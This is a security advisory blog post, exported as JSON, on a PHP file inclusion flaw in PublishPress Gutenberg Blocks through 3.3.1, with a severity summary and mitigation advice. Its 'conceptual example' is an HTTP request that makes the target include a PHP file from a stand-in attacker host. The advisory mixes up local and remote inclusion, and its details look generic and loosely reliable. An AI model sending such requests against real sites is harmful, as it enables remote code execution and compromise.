{"id":86795,"date":"2026-03-28T06:52:17","date_gmt":"2026-03-28T06:52:17","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-48332-php-remote-file-inclusion-vulnerability-in-publishpress-gutenberg-blocks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48332-php-remote-file-inclusion-vulnerability-in-publishpress-gutenberg-blocks\/","title":{"rendered":"CVE-2025-48332: PHP Remote File Inclusion Vulnerability in PublishPress Gutenberg Blocks<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-48332 is a significant vulnerability that affects the PublishPress Gutenberg Blocks in PHP programs. This flaw is due to an improper control of filename for Include\/Require Statement, which can allow an attacker to include PHP local files. This vulnerability could potentially lead to system compromise or data leakage, thus posing a significant risk to any platform using affected versions of PublishPress Gutenberg Blocks.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48332
\nSeverity: High (7.5 – CVSS Severity Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

PublishPress Gutenberg Blocks | n\/a through 3.3.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises from the improper control of filename for Include\/Require Statement in the PHP program. This oversight allows an attacker to exploit the PHP Remote File Inclusion (RFI) vulnerability in the PublishPress Gutenberg Blocks. The attacker can craft malicious PHP files and trick the program into including them. This could grant the attacker unauthorized access to potentially sensitive data or even lead to a full system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. In this example, the attacker sends a POST request to the vulnerable endpoint, including a malicious payload in the request body.<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/php\n{ \"filename\": \"http:\/\/malicious.example.com\/malicious_file.php\" }<\/code><\/pre>\n
In this hypothetical attack, the PHP program would include and execute the malicious_file.php from the attacker’s server, leading to the potential compromise of the system.<\/p>\n
Mitigation<\/strong><\/p>\n
Users are strongly advised to apply the patch provided by the vendor as soon as possible. Until the patch is applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"
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